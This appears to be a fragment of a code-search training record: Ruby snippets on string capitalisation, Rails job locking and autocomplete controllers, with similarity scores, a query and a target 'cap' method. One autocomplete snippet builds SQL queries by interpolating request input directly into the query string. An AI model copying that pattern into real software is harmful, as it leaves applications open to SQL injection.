"def lock_exclusively!(max_run_time, worker = worker_name)\n now = self.class.db_time_now\n affected_rows = if locked_by != worker\n # We don't own this job so we will update the locked_by name and the locked_at\n self.class.update_all([\"locked_at = ?, locked_by = ?\", now, worker], [\"id = ? and (locked_at is null or locked_at < ?)\", id, (now - max_run_time.to_i)])\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n self.class.update_all([\"locked_at = ?\", now], [\"id = ? and locked_by = ?\", id, worker])\n end\n if affected_rows == 1\n self.locked_at = now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def perform(current_time)\n Rails.logger.info \"Running DisableExpiredDownloadUrlsCronJob at #{current_time}\"\n\n urls_to_expire = DownloadUrl.where(enabled: true).where('expires_at <= ?', current_time)\n if urls_to_expire.any?\n Rails.logger.info \"Disabling #{urls_to_expire.size} expired URLs\"\n urls_to_expire.update_all(enabled: false) # rubocop:disable Rails/SkipsModelValidations\n else\n Rails.logger.info('No URLs have expired.')\n end\n end",
"def scheduled?\r\n @time != :forever\r\n end"
] | [
"0.6469474",
"0.6458905",
"0.6404905",
"0.63537586",
"0.6268199",
"0.6258666",
"0.6184996",
"0.6158081",
"0.61517024",
"0.60779554",
"0.60510105",
"0.6047423",
"0.6014912",
"0.5995066",
"0.59754014",
"0.5971593",
"0.5957179",
"0.59554905",
"0.59515315",
"0.5946495",
"0.5944485",
"0.5944485",
"0.59104913",
"0.59104645",
"0.59056646",
"0.5894105",
"0.58800185",
"0.5877685",
"0.5872121",
"0.58690286",
"0.5860735",
"0.5854174",
"0.58520633",
"0.5841118",
"0.58247423",
"0.5811965",
"0.5809494",
"0.5809247",
"0.58088267",
"0.58072466",
"0.58059293",
"0.5800097",
"0.57976156",
"0.5791128",
"0.5790071",
"0.5775916",
"0.57604474",
"0.5759029",
"0.57583183",
"0.5756947",
"0.5756835",
"0.57416266",
"0.57334626",
"0.57251203",
"0.5721641",
"0.57186764",
"0.5714416",
"0.570952",
"0.5692444",
"0.5684989",
"0.5682384",
"0.56820387",
"0.56815004",
"0.56735116",
"0.5667577",
"0.56658274",
"0.56564164",
"0.5645282",
"0.5643894",
"0.56421614",
"0.5638732",
"0.56370586",
"0.56158835",
"0.5611995",
"0.56112516",
"0.5604591",
"0.5604382",
"0.5604067",
"0.5601083",
"0.559304",
"0.5588738",
"0.5588586",
"0.55885524",
"0.55859566",
"0.55835766",
"0.5583107",
"0.55819",
"0.55819",
"0.55819",
"0.5572834",
"0.55725443",
"0.5570018",
"0.5570018",
"0.55648386",
"0.5561845",
"0.5561427",
"0.55580664",
"0.55564857",
"0.5554902",
"0.5553197"
] | 0.73576903 | 0 |
returns a new string that contains the original value of the argument with first char of every word capt and all other letters lowercase | def cap(str)
arr = str.split(//)
arr[0].upcase!
arr[1..-1].each { |el| el.downcase! }
arr.join
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def word_cap2(str)\n str.split(' ').map { |wrd| wrd[0].upcase + wrd[1..-1].downcase }.join(' ')\nend",
"def word_cap3(str)\n str.split.map { |word| word.sub(word[0], word[0].upcase) }.join(\" \")\nend",
"def word_cap2(str) # Without Using .capitalize method\n str.split.each { |word| word[0] = word[0].upcase }.join(\" \")\nend",
"def amendTheSentence(s)\n s.gsub(/([A-Z])/, ' \\1').strip.downcase\nend",
"def titlecase\n\t\tsplit(/(\\W)/).map(&:capitalize).join\n\tend",
"def word_cap(str)\n str.split.map { |word| word[0].upcase + word[1..-1] }.join(' ')\nend",
"def smash\n downcase.scan(/\\w+/).join\n end",
"def do_magic(str)\n str.gsub!(/[^A-Z]/, '').to_s #delete small leters and uprinted sumbols\n str.downcase.to_s #make all leters small\nend",
"def titlecase\n gsub(/\\b\\w/){ $`[-1,1] == \"'\" ? $& : $&.upcase }\n end",
"def staggered_case(str) # moving to new string\n capital_letter = true\n new_str = ''\n str.each_char do |letter|\n if letter =~ /[^a-z]/i\n new_str << letter\n else\n capital_letter ? letter.upcase! : letter.downcase!\n new_str << letter\n capital_letter = !capital_letter\n end\n end\n new_str\nend",
"def word_cap3(string)\n string.split.each { |word| word[0] = word[0].capitalize }.join(\" \")\nend",
"def pretty_title!\n str = self\n str.downcase!\n str = str.split(\" \").map { |word| word.capitalize! }.join(\" \")\n str.gsub! /\\sVs/, ' vs'\n str.gsub! /\\sMd/, ' MD'\n str.gsub! /\\sVersus/, ' versus'\n str.gsub! /\\sLlc/, ' LLC'\n str.gsub! /\\sPc/, ' PC'\n str.gsub! /\\sPa/, ' PA'\n\n # I can't get this to work.. I want Mcfoo to be McFoo but for some reason this wont work -- it does work in rails console\n #str.gsub! /(\\sMc)(.)/, \"#{$1}#{$2.upcase}\"\n str\n end",
"def word_cap(str)\n str.downcase.split.map{ |c| c[0].upcase + c[1..-1] }.join(\" \")\nend",
"def word_cap(str)\n words = str.split\n words.each do |word|\n word[0] = word[0].upcase\n word[1..-1] = word[1..-1].downcase\n end\n words.join(' ')\nend",
"def question5(str) # Modify str, returning a lowercased version\n\n end",
"def staggered_case(str, start_up_case = true)\n capital = start_up_case\n result_str = \"\"\n str.each_char do |char|\n if char =~ /[a-zA-Z]/\n capital ? char.upcase! : char.downcase!\n end\n result_str << char\n capital = !capital\n end\n p result_str \nend",
"def word_cap(sentence)\n sentence.split.map do |word|\n new_word = word.downcase\n new_word[0] = new_word[0].upcase\n new_word\n end.join(' ')\nend",
"def solution(str)\n str.gsub(/([A-Z])/, ' \\1')\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend",
"def solution(string)\n string.gsub(/([A-Z])/, ' \\1')\nend",
"def cap_first sentence\n sentence.split(\" \").map{|value| value.capitalize}.join(\" \")\nend",
"def titlecase!\n replace(titlecase)\n end",
"def staggered_case(string)\n result_array = string.chars\n result_array.each_with_index do |item, i|\n i.odd? ? item.downcase! : item.upcase!\n end.join\nend",
"def titleize(name)\n lowercase_words = %w{a an the and but or for nor of over}\n name.split.each_with_index.map{|x, index| lowercase_words.include?(x) && index > 0 ? x : x.capitalize }.join(\" \")\nend",
"def reverberate(str)\n \n new_str = str.split(\" \").map do |wrd|\n new_wrd = wrd.length > 3 ? reverberate_word(wrd) : wrd\n wrd.capitalize == wrd ? new_wrd.capitalize : new_wrd\n end\n\n new_str.join(\" \")\nend",
"def all_caps(word)\n if word.length >= 10\n return word.upcase\n end\n word\nend",
"def solution(string)\n string.gsub(/(?=[A-Z])/, ' ')\nend",
"def staggered_case(str)\narray = str.split(\"\")\nresult = array.each_with_index do |char, index|\n if index % 2 == 0 && char.match(/[a-zA-Z]/)\n char.upcase!\n elsif index % 2 == 1 && char.match(/[a-zA-Z]/)\n char.downcase!\n end\nend\nresult.join(\"\")\nend",
"def camel_case_lower(str)\n str.strip().gsub(' ','').split('_').inject([]){ |buffer,e| buffer.push(buffer.empty? ? e : e.capitalize) }.join\n end",
"def staggered_case(str)\n arry = str.chars \n\n arry.each_with_index do |ch, index|\n index.odd? ? ch.downcase! : ch.upcase!\n end\n arry.join('')\nend",
"def titlecase\n first = true\n words = downcase.split(/(?<!\\w')\\b/)\n\n words.map.with_index do |word,i|\n if LOWERCASE_WORDS.include?(word) and i > 0 # leave LOWERCASE_WORDS lowercase, unless it's the first word.\n word\n else\n word.gsub(/^\\w/) { |c| c.upcase } # capitalize first letter\n end\n end.join('')\n end",
"def titlecase\n first = true\n words = downcase.split(/(?<!\\w')\\b/)\n\n words.map.with_index do |word,i|\n if LOWERCASE_WORDS.include?(word) and i > 0 # leave LOWERCASE_WORDS lowercase, unless it's the first word.\n word\n else\n word.gsub(/^\\w/) { |c| c.upcase } # capitalize first letter\n end\n end.join('')\n end",
"def tenderize(text)\n return text if @preserve_case\n if /[a-z]/ =~ text\n text\n else\n text.downcase.gsub(/\\b\\w/) { $&.upcase }\n end\n end",
"def acronymize_online(sentence)\n sentence.split.map { |word| word[0].upcase }.join\nend",
"def cap_the_words(string)\r\n string.split(\" \").map{|e| e.capitalize }.join(\" \")\r\nend",
"def staggered_case_include_non_alpha(string, upcase_or_downcase=\"upcase\")\n # new_array = []\n # string.chars.each_with_index do |char, index|\n # new_array[index] = index.even? ? char.upcase : char.downcase\n # end\n # new_array.join\n result = ''\n need_upper = upcase_or_downcase == \"upcase\"\n string.chars.each do |char|\n result += if need_upper\n char.upcase\n else\n char.downcase\n end\n need_upper = !need_upper\n end\n result\nend",
"def shout(str); str.upcase end",
"def to_lower_case2(str)\n str.split('').each_with_index do |value, index|\n if !!(/[A-Z]/ =~ value)\n str_asc = value.ord\n low_asc = str_asc + 32\n ac_low_asc = low_asc.chr(\"UTF-8\")\n str[index] = ac_low_asc\n end\n end\n str\nend",
"def titleize_wow(name)\n lowercase_words = %w{a an the and but or for nor of}\n name.split.each_with_index.map{|x, index| lowercase_words.include?(x) && index > 0 ? x : x.capitalize }.join(\" \")\nend",
"def weirdcase1(string)\n string.gsub(/(\\w{1,2})/) { |s| $1.capitalize }\nend",
"def word_cap(string)\n words = string.split(' ')\n words.map! do |word|\n characters = word.chars\n characters[0] = characters[0].upcase\n characters.join(\"\")\n end\n words.join(\" \")\nend",
"def titlecase\n self\n .split(/ /)\n .map{ |word| word.capitalize }\n .join(' ')\n end",
"def mixed_case(name)\n name.downcase.gsub(/\\b\\w/, &:upcase)\nend",
"def as_english_word\n self.name.gsub(/\\W/,\" \").gsub(/([a-z])([A-Z])/,\"\\\\1 \\\\2\").\n squeeze(\" \").strip.downcase\n end",
"def staggered_case(str)\n new_str = ''\n to_upcase = true\n str.chars.each do |chr|\n if chr =~ /[a-zA-Z]/\n new_str << (to_upcase ? chr.upcase : chr.downcase)\n to_upcase = !to_upcase\n else\n new_str << chr\n end\n end\n new_str\nend",
"def staggered_case(string)\n result = ''\n need_upper = true\n string.chars.each do |char|\n if char =~ /[a-zA-Z]/\n if need_upper\n result << char.upcase\n else\n result << char.downcase\n end\n need_upper = !need_upper \n else\n result << char\n end\n end\n result\nend",
"def processed\n self.scan(/[a-z]/i).join.downcase\n end",
"def staggered_case_1(string)\n\tflag = true\n\tnew_string = string.chars.map do |char|\n\t\tif char =~ /[A-Za-z]/\n\t\t\tif flag\n\t\t\t\tchar.upcase!\n\t\t\telse\n\t\t\t\tchar.downcase!\n\t\t\tend\n\t\t\tflag = !flag\n\t\t\tchar\n\t\telse\n\t\t\tchar\n\t\tend\n\tend\n\tnew_string.join(\"\")\nend",
"def staggered_case(str)\n alt_cap = ''\n need_upper = true\n split_str = str.chars\n split_str.each do |char|\n if char =~ /[^A-z]/\n alt_cap << char\n else\n if need_upper\n alt_cap << char.upcase\n else\n alt_cap << char.downcase\n end\n need_upper = !need_upper\n end\n end\n alt_cap\nend",
"def staggered_case(input)\n input = input.downcase\n new_arr = []\n \n input.chars.each_with_index do |char, idx|\n if idx % 2 == 1 || (!(('a'..'z').to_a).include?(char) && !(('A'..'Z').to_a).include?(char))\n new_arr << char\n else\n new_arr << char.capitalize!\n end\n end\n new_arr.join\nend",
"def case_fix(name)\r\n fixed_name = name.split(' ')\r\n fixed_name.each do |word|\r\n word.capitalize!\r\n end\r\n fixed_name.join(' ')\r\nend",
"def staggered_case(string)\n result = ''\n need_upper = true\n string.chars.each do |char|\n if need_upper && char =~ /[a-zA-Z]/\n result += char.upcase\n need_upper = !need_upper\n elsif !need_upper && char =~ /[a-zA-Z]/\n result += char.downcase\n need_upper = !need_upper\n else\n result += char\n end\n end\n result\nend",
"def format_name(str)\n norm_arr = []\n str_arr = str.split(\" \")\n\n str_arr.each do |word|\n word = word.downcase\n word[0] = word[0].upcase\n norm_arr << word\n end\n\n return norm_arr.join(\" \")\nend",
"def staggered_case(str)\n str.chars.map.with_index { |element, index| index.even? ? element.upcase : element.downcase }.join\nend",
"def camel_case\n @word.split(' ').collect(&:capitalize).join\n end",
"def titleize\n arr = %w(a an the by to)\n upcase_arr = %w(DX EDA AEDG LPD COP)\n r = gsub('_', ' ').gsub(/\\w+/) do |match|\n match_result = match\n if upcase_arr.include?(match.upcase)\n match_result = upcase_arr[upcase_arr.index(match.upcase)]\n elsif arr.include?(match)\n match_result = match\n else\n match_result = match.capitalize\n end\n match_result\n end\n\n r\n end",
"def word_cap(string)\n words = string.split\n\n words.map! do |word|\n word = word.downcase\n word[0] = word[0].upcase\n word\n end\n\n words.join(' ')\nend",
"def to_lower_case(s)\n s.dup.downcase\nend",
"def shout(word)\n\treturn word.upcase\nend",
"def cap_first(str)\r\n\tstr.split(' ').map!{ |word| word.capitalize }.join(' ')\r\nend",
"def acronomyzer(sentence)\n words = sentence.split\n letters = []\n\n words.each do |word|\n letter = word[0]\n letters << letter\n end\n\n letters.join.upcase\nend",
"def mixed_case(name)\n\tname.downcase.gsub(/\\b\\w/) {|first| first.upcase}\nend",
"def staggered_case(str)\n new_str = str.downcase\n new_str.chars.each_with_index do |el, idx| \n new_str[idx] = el.upcase if idx.even?\n end\n new_str\nend",
"def titleize!(title)\n title.split.map { |word| word.gsub(word[0],word[0].upcase) }.join(' ')\nend",
"def word_cap(str)\n str.split.each_with_object([]) { |word, arr| arr << my_capitalize(word) }.join(' ')\nend",
"def acronymize(sentence)\n sentence.split.map { |word| word[0].upcase }.join\n # split the sentence into an array\n # need to iterate over the words\n # take the first letter from each word and place into array\n # array into string, then .upcase(should be gud. its ok)\nend",
"def word_cap(str)\n str.split(' ').map(&:capitalize).join(' ')\nend",
"def word_cap(string)\n string.split(' ').map!(&:capitalize).join(' ')\nend",
"def titlecase(input)\n input.titlecase\n end",
"def mixed_case_2(name)\n\tname.downcase.gsub(/\\b\\w/, &:upcase)\nend",
"def word_cap(str)\n str.split.each(&:capitalize).join(' ')\nend",
"def titlecase(string)\n string.dup.tap do |result|\n word_iterator.each_word(result) do |_, *boundary_pair|\n if cased_pos = first_cased(string, *boundary_pair)\n result[cased_pos] = titlecasing_hash[result[cased_pos]]\n\n (cased_pos + 1).upto(boundary_pair.last - 1) do |pos|\n result[pos] = lowercasing_hash[result[pos]]\n end\n end\n end\n end\n end",
"def staggered_case(string, ignore_non_alphabetic = true)\n result = ''\n need_upper = true\n string.chars.each do |char|\n if char =~ /[a-zA-Z]/ || !ignore_non_alphabetic\n if need_upper\n result << char.upcase\n else\n result << char.downcase\n end\n need_upper = !need_upper \n else\n result << char\n end\n end\n result\nend",
"def word_cap(str)\n str.split.words.map { |word| word.capitalize}.join(' ')\nend",
"def lower_camelcase\n str = dup\n str.gsub!(/\\/(.?)/) { \"::#{$1.upcase}\" }\n str.gsub!(/(?:_+|-+)([a-z])/) { $1.upcase }\n str.gsub!(/(\\A|\\s)([A-Z])/) { $1 + $2.downcase }\n str\n end",
"def wordcap\n self.split(\" \").each{|word| word.capitalize!}.join(\" \")\n end",
"def to_lower_case1(str)\n char_map = Hash[('A'..'Z').zip ('a'..'z')]\n str.each_char.with_index do |c, i|\n if char_map.key?(c)\n str[i] = char_map[c]\n end\n end\n str\nend",
"def acronymize(sentence)\n letters = []\n sentence.split.each { |word| letters << word[0].upcase }\n letters.join(\"\")\nend",
"def word_cap(string)\n capped_words =\n string.split.map do |word|\n word.downcase!\n word[0] = word[0].upcase\n word\n end\n capped_words.join(' ')\nend",
"def staggered_case(string)\n index = 0\n characters = string.split('')\n loop do\n break if index >= characters.size\n if characters[index] =~ /[a-zA-Z]/ && index.even?\n characters[index].upcase!\n elsif characters[index] =~ /[a-zA-Z]/ && index.odd?\n characters[index].downcase!\n end\n index += 1\n end\n characters.join('')\nend",
"def whisper(phrase)\n return \"#{phrase.downcase}...shhhhhhh\"\nend",
"def titleize(text)\n little_word = [\"and\", \"the\"]\n text.gsub(/[[:alpha]]+/) { |x| little_word.include?(x) & (Regexp.last_match.begin(0)> 0)? x : x.capitalize\n }\n\nend",
"def staggered_case(str) \n str.chars.map.with_index do |el, idx|\n idx.even? ? el.upcase : el.downcase\n end.join\nend",
"def upcase_first(text)\n text.sub(/[[:lower:]]/) { |initial| initial.upcase }\n end",
"def titleize(s)\n#Nous créons un tableau avec tous les petits mots “end” ‘and’ ‘the’\nl_w = %w(end and the)\n\n#On met en majuscule chaque première lettre des mots entrées\nreturn s.capitalize.gsub(/(\\w+)/) do |word|\n#Met en maj les mots qui ne sont pas dans le tableau l_w\n l_w.include?(word) ? word : word.capitalize\n end\n end",
"def word_cap(str)\n str.split.map(&:capitalize).join(' ')\nend",
"def word_cap(str)\n str.split.map(&:capitalize).join(' ')\nend",
"def staggered_case(str)\n str.chars.map.with_index { |e, i| i.even? ? e.upcase : e.downcase }.join\nend",
"def staggered_case(words)\n mixed_chars = words.chars.each_with_index.map do |char, index|\n if index.even? && char =~ /[a-zA-Z]/\n char.upcase\n elsif index.odd? && char =~ /[a-zA-Z]/\n char.downcase\n else\n char\n end\n end\n mixed_chars.join\nend",
"def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend",
"def staggered_case_opt(string, ignore_non_alpha: true)\n process = true\n\n result = string.chars.map do |char|\n if ignore_non_alpha && char =~ /[a-z]/i\n process ? char.upcase! : char.downcase!\n process = !process\n elsif !ignore_non_alpha\n process ? char.upcase! : char.downcase!\n process = !process\n end\n char\n end\n\n result.join\nend",
"def snakify\n return downcase if match(/\\A[A-Z]+\\z/)\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z])([A-Z])/, '\\1_\\2').\n downcase\n end",
"def wave(str)\n words = str.split(\"\")\n result = []\n words.each_with_index do |letter, index|\n if letter != \" \"\n words[index].replace(letter.upcase)\n result << words.join(\"\")\n words[index].replace(letter.downcase)\n end\n end\n result\nend",
"def word_cap(str)\n uppercase_hash = { 'a' => 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', \n 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H',\n 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L',\n 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P',\n 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T',\n 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X',\n 'y' => 'Y', 'z' => 'Z' }\n\n capitalized = str.split.map do |word|\n prefix = uppercase_hash[word[0]] if uppercase_hash.has_key?(word)\n prefix + word[1..-1]\n end\n capitalized.join(' ')\nend",
"def cap_first(sentence)\n sentence.split(\" \").map{|el| el.capitalize}.join(\" \")\nend",
"def yeller(s)\n puts s.map(&:upcase).join\n end",
"def staggered_case(str)\n str.chars.map.with_index {|el, i| i.even? ? el.upcase : el.downcase}.join\nend",
"def staggered_case(str)\narray = str.split(\"\")\nneed_upper = true\nresult = []\narray.each do |char|\n if char.match(/[a-zA-Z]/) && need_upper == true\n result.push(char.upcase)\n need_upper = !need_upper\n elsif char.match(/[a-zA-Z]/)\n result.push(char.downcase)\n need_upper = !need_upper\n else result.push(char) \n end\n \nend\nresult.join(\"\")\nend",
"def word_cap(string)\n string.split.map(&:capitalize).join(' ')\nend",
"def word_cap(string)\n string.split.map(&:capitalize).join(' ')\nend",
"def word_cap(string)\n string.split.map(&:capitalize).join(' ')\nend"
] | [
"0.73642445",
"0.7354402",
"0.7214044",
"0.7181456",
"0.7161918",
"0.71618265",
"0.7148106",
"0.7146229",
"0.7123766",
"0.71100444",
"0.70944685",
"0.70855993",
"0.70854205",
"0.7073121",
"0.7061191",
"0.7060982",
"0.70231783",
"0.7005794",
"0.7001035",
"0.7001035",
"0.697059",
"0.69650483",
"0.69567305",
"0.69331974",
"0.69226426",
"0.6919268",
"0.6917278",
"0.69010174",
"0.68892044",
"0.68761533",
"0.68733215",
"0.68733215",
"0.68695486",
"0.6869352",
"0.6861516",
"0.68524283",
"0.6849128",
"0.6848498",
"0.6842231",
"0.68356615",
"0.6831031",
"0.68154836",
"0.68146485",
"0.6812617",
"0.68118185",
"0.6803726",
"0.6803411",
"0.68011665",
"0.6799369",
"0.6798974",
"0.67973363",
"0.6793852",
"0.67932236",
"0.678577",
"0.6781345",
"0.67736703",
"0.677244",
"0.67703015",
"0.67654663",
"0.67578655",
"0.6756098",
"0.6753516",
"0.6752451",
"0.67470676",
"0.67422354",
"0.67404234",
"0.6738828",
"0.6736536",
"0.67343765",
"0.67325664",
"0.6732284",
"0.6732109",
"0.6731242",
"0.6727507",
"0.6721348",
"0.67212236",
"0.67196375",
"0.6719338",
"0.6719104",
"0.6718276",
"0.67170405",
"0.6713551",
"0.6713215",
"0.67128164",
"0.67113847",
"0.6709733",
"0.6709733",
"0.6706723",
"0.67063963",
"0.67063344",
"0.67063165",
"0.67053723",
"0.6705332",
"0.6705155",
"0.6704715",
"0.6704454",
"0.67018145",
"0.669909",
"0.6695855",
"0.6695855",
"0.6695855"
] | 0.0 | -1 |
each Auto complete hook that gets called from application_controller.rb. | def auto_complete(controller, context = {})
query, tags = parse_query_and_tags(context[:query])
klass = controller.controller_name.classify.constantize
if tags.empty?
klass.my(:user => context[:user], :limit => 10).search(query)
else
klass.my(:user => context[:user], :limit => 10).search(query).tagged_with(tags, :on => :tags)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def autocomplete; end",
"def auto_complete\n @query = params[:term] || ''\n @auto_complete = hook(:auto_complete, self, query: @query, user: current_user)\n if @auto_complete.empty?\n exclude_ids = auto_complete_ids_to_exclude(params[:related])\n @auto_complete = klass.my(current_user).text_search(@query).ransack(id_not_in: exclude_ids).result.limit(10)\n else\n @auto_complete = @auto_complete.last\n end\n\n session[:auto_complete] = controller_name.to_sym\n respond_to do |format|\n format.any(:js, :html) { render partial: 'auto_complete' }\n format.json do\n results = @auto_complete.map do |a|\n {\n id: a.id,\n text: a.respond_to?(:full_name) ? a.full_name : a.name\n }\n end\n render json: {\n results: results\n }\n end\n end\n end",
"def auto_complete\n @query = params[:auto_complete_query]\n @auto_complete = self.controller_name.classify.constantize.scoped(:limit => 10).search(@query)\n render :template => \"common/auto_complete\", :layout => nil\n end",
"def auto_complete_for_keyword_list\n auto_complete_responder_for_keyword params[:keyword][:list]\n end",
"def suggest_handler_path\n blacklight_config.autocomplete_path || DEF_AUTOCOMPLETE_PATH\n end",
"def findorsuggest()\n \n end",
"def ajax_auto_complete\n type = params[:type].to_s\n instr = params[:id].to_s\n letter = ' '\n scientific = false\n user = login_for_ajax\n if user\n scientific = (user.location_format == :scientific)\n end\n @items = []\n if instr.match(/^(\\w)/)\n letter = $1\n case type\n\n when 'location'\n @items = Observation.connection.select_values(%(\n SELECT DISTINCT `where` FROM observations\n WHERE `where` LIKE '#{letter}%' OR\n `where` LIKE '% #{letter}%'\n )) + Location.connection.select_values(%(\n SELECT DISTINCT `name` FROM locations\n WHERE `name` LIKE '#{letter}%' OR\n `name` LIKE '% #{letter}%'\n ))\n if scientific\n @items.map! {|i| Location.reverse_name(i)}\n end\n @items.sort!\n\n when 'name'\n @items = Name.connection.select_values %(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{letter}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )\n\n when 'name2'\n @items = Name.connection.select_values(%(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{instr}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )).sort_by {|x| (x.match(' ') ? 'b' : 'a') + x}\n # This sort puts genera and higher on top, everything else on bottom,\n # and sorts alphabetically within each group.\n letter = ''\n\n when 'project'\n @items = Project.connection.select_values %(\n SELECT title FROM projects\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'species_list'\n @items = SpeciesList.connection.select_values %(\n SELECT title FROM species_lists\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'user'\n @items = User.connection.select_values %(\n SELECT CONCAT(users.login, IF(users.name = \"\", \"\", CONCAT(\" <\", users.name, \">\")))\n FROM users\n WHERE login LIKE '#{letter}%'\n OR name LIKE '#{letter}%'\n OR name LIKE '% #{letter}%'\n ORDER BY login ASC\n )\n end\n end\n\n # Result is the letter requested followed by results, one per line. (It\n # truncates any results that have newlines in them -- that's an error.)\n render(:layout => false, :inline => letter +\n %(<%= @items.uniq.map {|n| h(n.gsub(/[\\r\\n].*/,'')) + \"\\n\"}.join('') %>))\n end",
"def autocomplete\r\n# return '' unless session[:edit_mode] > 0 # \r\n return render text: t('drgcms.not_authorized') unless dc_user_can(DcPermission::CAN_VIEW)\r\n# TODO Double check if previous line works as it should.\r\n table = params['table'].classify.constantize\r\n id = [params['id']] || '_id'\r\n# call method in class if search parameter has . This is for user defined searches\r\n# result must be returned as array of [id, search_field_value]\r\n a = if params['search'].match(/\\./)\r\n name, method = params['search'].split('.')\r\n table.send(method, params['input']).inject([]) do |r,v|\r\n r << { label: v[0], value: v[0], id: v[1].to_s }\r\n end\r\n# simply search which will search and return field_name defined in params['search']\r\n else\r\n table.where(params['search'] => /#{params['input']}/i).limit(20).inject([]) do |r,v|\r\n r << { label: v[params['search']], value: v[params['search']], id: v.id.to_s }\r\n end\r\n end\r\n\r\n render inline: a.to_json, formats: 'js'\r\nend",
"def autocomplete\n\t\tquery_params = QueryFormat.autocomplete_format()\n\t\tbegin\n\t\t\tQueryFormat.transform_raw_parameters(params)\n\t\t\tquery = QueryFormat.create_solr_query(query_params, params, request.remote_ip)\n\t\t\tquery['field'] = \"content_auto\" if query['field'].blank?\n\t\t\tis_test = Rails.env == 'test' ? :test : :live\n\t\t\tis_test = :shards if params[:test_index]\n\t\t\tsolr = Solr.factory_create(is_test)\n\t\t\tmax = query['max'].to_i\n\t\t\tquery.delete('max')\n\t\t\twords = solr.auto_complete(query)\n\t\t\twords.sort! { |a,b| b[:count] <=> a[:count] }\n\t\t\twords = words[0..(max-1)]\n\t\t\t@results = words.map { |word|\n\t\t\t\t{ :item => word[:name], :occurrences => word[:count] }\n\t\t\t}\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # index.html.erb\n\t\t\t\tformat.json { render json: { results: @results } }\n\t\t\t\tformat.xml\n\t\t\tend\n\t\trescue ArgumentError => e\n\t\t\trender_error(e.to_s)\n\t\trescue SolrException => e\n\t\t\trender_error(e.to_s, e.status())\n\t\trescue Exception => e\n\t\t\tExceptionNotifier.notify_exception(e, :env => request.env)\n\t\t\trender_error(\"Something unexpected went wrong.\", :internal_server_error)\n\t\tend\n\tend",
"def generate_autocomplete\n # we'll martial brand into the autocomplete field since it's\n # natural to search by brand\n s = \"#{ brand } #{ name } #{ model_number }\".squish\n s = s.truncate(45, omission: \"\", separator: \" \") if s.length > 45\n self.autocomplete = self.class.normalize(s)\n end",
"def suggest\n end",
"def auto_complete\n type = params[:type].to_s\n string = CGI.unescape(params[:id].to_s).strip_squeeze\n if string.blank?\n render(text: \"\\n\\n\")\n else\n auto = AutoComplete.subclass(type).new(string, params)\n results = auto.matching_strings.join(\"\\n\") + \"\\n\"\n render(text: results)\n end\n end",
"def handle_autocomplete\n if (query = request.params['q'].to_s).empty?\n ''\n else\n model.autocomplete(:type=>@subtype, :request=>request, :association=>params_association, :query=>query, :exclude=>request.params['exclude']).join(\"\\n\")\n end\n end",
"def auto_complete_result(entries, field, phrase = nil)\n return unless entries\n render :partial => '/admin/orders/autocomplete', :locals => { :entries => entries, :field => field, :phrase => phrase }\n end",
"def auto_complete(editor)\n editor.cursor.read do |word|\n sword = word.to_sym \n if word == \"\\n\"\n throw :eol\n elsif editor.template.user_classes.include?(sword)\n build_suggestion(Editor.const_get(word).methods)\n elsif editor.template.context.methods.include?(sword)\n build_suggestion(editor.template.context.method(sword).parameters)\n end\n\tend\nend",
"def autocomplete?\n true\n end",
"def setup_completion\n\t\tReadline.completion_proc = self.method( :completion_callback ).to_proc\n\t\tReadline.completer_word_break_characters = ''\n\tend",
"def scaffold_auto_complete_for(klass, association=nil)\n meth = \"scaffold_auto_complete_for_#{klass.scaffold_name}\"\n (self.scaffolded_auto_complete_associations[klass] ||= Set.new).add(association.to_s)\n allowed_associations = scaffolded_auto_complete_associations[klass]\n unless instance_methods.include?(meth)\n scaffold_define_method(meth) do\n association = scaffold_request_param(:association).to_s\n if scaffold_request_param(:association) && !allowed_associations.include?(association)\n scaffold_method_not_allowed\n else\n @items = klass.scaffold_auto_complete_find(scaffold_request_id.to_s, :association=>(association.to_sym if scaffold_request_param(:association)), :session=>scaffold_session)\n scaffold_render_template(meth, {}, :inline => \"<%= scaffold_auto_complete_result(@items) %>\")\n end\n end\n end\n end",
"def autocomplete_suggesters!(config)\n config.autocomplete_path = 'suggest'\n config.autocomplete_suggester = 'suggest' # TODO: TBD?\n super(config)\n end",
"def suggest_results\n repository.auto_suggest(suggest_handler_path, request_params)\n end",
"def setupAutocomplete(commands)\n cmdAuto = proc { |s| commands.map{|cmd, _desc| cmd}.flatten.grep(/^#{Regexp.escape(s)}/) }\n Readline::completion_append_character = \" \"\n Readline::completion_proc = cmdAuto\nend",
"def scaffold_use_auto_complete\n @scaffold_use_auto_complete ||= scaffold_auto_complete_options[:enable]\n end",
"def auto_complete_for_user_name\n @users = session[:user].get_available_users(params[:user][:name])\n render inline: \"<%= auto_complete_result @users, 'name' %>\", layout: false\n end",
